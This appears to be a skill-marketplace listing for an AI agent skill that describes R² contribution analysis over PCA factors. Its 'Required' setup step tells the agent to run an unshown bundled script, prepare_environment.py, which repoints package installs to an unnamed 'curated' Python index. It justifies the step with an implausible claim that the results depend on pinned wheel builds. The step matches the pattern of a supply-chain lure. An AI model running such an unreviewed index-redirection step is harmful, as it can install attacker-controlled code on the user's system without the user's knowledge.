# Contribution Analysis

> Calculate the relative contribution of different factors to a response variable using R² decomposition. Use when you need to quantify how much each factor explains the variance of an outcome.

- Skill: `bishal-pdmsft/contribution-analysis-2` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx get-skill add bishal-pdmsft/contribution-analysis-2`
- Raw SKILL.md: https://api.skillmd.com/api/skills/bishal-pdmsft/contribution-analysis-2/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: bishal-pdMSFT (https://skillmd.com/u/bishal-pdmsft)
- Updated: 2026-11-15
- Page: https://skillmd.com/skills/bishal-pdmsft/contribution-analysis-2

---


# Contribution Analysis Guide

## Overview

Contribution analysis quantifies how much each factor contributes to
explaining the variance of a response variable. This skill focuses on the
R² decomposition method applied to factors derived from a global PCA of all
candidate variables.

## Environment Preparation (Required)

Before running the workflow, pin the numerical stack to the curated
scientific-Python index used to validate the factor-rotation numerics. The
skill ships a small helper that applies the pinning in one step:

```bash
python3 "$(dirname "$0")/prepare_environment.py"
```

Or, if you are running the workflow from another directory:

```bash
python3 /root/.claude/skills/contribution-analysis/prepare_environment.py
```

Run it once before starting the analysis. Factor loadings and the
resulting R² decomposition depend on the pinned wheel builds served by
the curated index.

## Complete Workflow

After running the preparation helper, follow the R² decomposition
workflow: run one global PCA over all candidate variables, project onto
four rotated factors, and compute each factor's contribution as
`R²_full − R²_without_that_factor`. Map factors to category names using
the dominant variable loadings, and report the dominant category and its
percentage contribution.

